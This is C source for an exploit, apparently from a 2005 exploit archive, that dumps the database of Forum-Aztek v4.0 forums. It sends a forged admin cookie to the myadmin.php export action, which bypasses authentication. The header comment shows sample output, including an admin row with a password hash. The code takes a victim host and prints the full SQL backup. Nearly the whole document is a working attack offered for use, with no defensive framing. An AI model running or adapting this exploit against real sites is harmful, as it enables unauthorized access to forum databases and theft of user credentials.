Forum-Aztek v4.0 "myadmin.php" Remote Database Dump Exploit/*
* LOTFREE Team presents :
* Forum-Aztek v4.0 (4nd pr0b4bly inf3ri0r) Database Dump Xpl0it
* 0day dUd3 X-)
*
* ./aztek-sploit 127.0.0.1 admin forum
* HTTP/1.1 200 OK
* Date: Sat, 05 Mar 2005 22:18:13 GMT
* Server: Apache/2.0.50 (Ubuntu) PHP/4.3.8
* X-Powered-By: PHP/4.3.8
* Set-Cookie: ATK_ADMIN=
* Expires: Sat, 05 Mar 2005 22:18:13 GMT
* Content-Disposition: attachment; filename="backup-admin-2005-5-03-23-18-13.sql"
* Connection: close
* Transfer-Encoding: chunked
* Content-Type: application/force-download
*
* (...)
* INSERT INTO atk_users VALUES ('admin','admin','atm5zzHCTXNkc',0,'',0,0,0,'',
'',0,0,'','',1109861125,63,'0','','','','','',0,0,'');
* password in DES ---+^^^^^^^^^^^^^
* (...)
* sw333333t !
* http://lotfree.next-touch.com
*/
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#define REQ1 "/myadmin.php?action=export_index&login="
#define REQ2 " HTTP/1.1\nHost: "
#define REQ3 "\nCookie: ATK_ADMIN=blah; ATK_LOGIN="
#define REQ4 "\nConnection: close\n\n"
unsigned long resolve (char *host)
{
struct in_addr in;
struct hostent *he;
if((in.s_addr=inet_addr(host))==-1)
{
if((he=(struct hostent*)gethostbyname(host))==NULL)
{
herror("Resolving victim host");
exit(1);
}
memcpy((caddr_t)&in, he->h_addr, he->h_length);
}
return(in.s_addr);
}
int main(int argc,char *argv[])
{
int sock;
struct sockaddr_in sin;
char c;
if(argc!=4)
{
printf("[*]--------------------------------[*]\n");
printf(" | Aztek-Forum Database Dump Xploit |\n");
printf(" | sirius_black // LOTFREE Team |\n");
printf("[*]--------------------------------[*]\n\n");
printf("Usage: %s <victim> <admin_login> <forum_directory>\n\n",argv[0]);
printf("Exemple: %s www.tictactoe.com admin forum > database.sql\n\n",argv[0]);
exit(1);
}
if((sock=socket(PF_INET,SOCK_STREAM,0))==-1)
{
perror("socket");
exit(1);
}
sin.sin_family=AF_INET;
sin.sin_port=htons(80);
sin.sin_addr.s_addr=resolve(argv[1]);// sin.sin_addr.s_addr=resolve("127.0.0.1");
if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1)
{
perror("connect");
exit(1);
}
send(sock,"GET /",5,0);
send(sock,argv[3],strlen(argv[3]),0);
send(sock,REQ1,sizeof(REQ1)-1,0);
send(sock,argv[2],strlen(argv[2]),0);
send(sock,REQ2,sizeof(REQ2)-1,0);
send(sock,argv[1],strlen(argv[1]),0);
send(sock,REQ3,sizeof(REQ3)-1,0);
send(sock,argv[2],strlen(argv[2]),0);
send(sock,REQ4,sizeof(REQ4)-1,0);
while((recv(sock,&c,1,0))==1)
{
putchar(c);
}
close(sock);
return 0;
}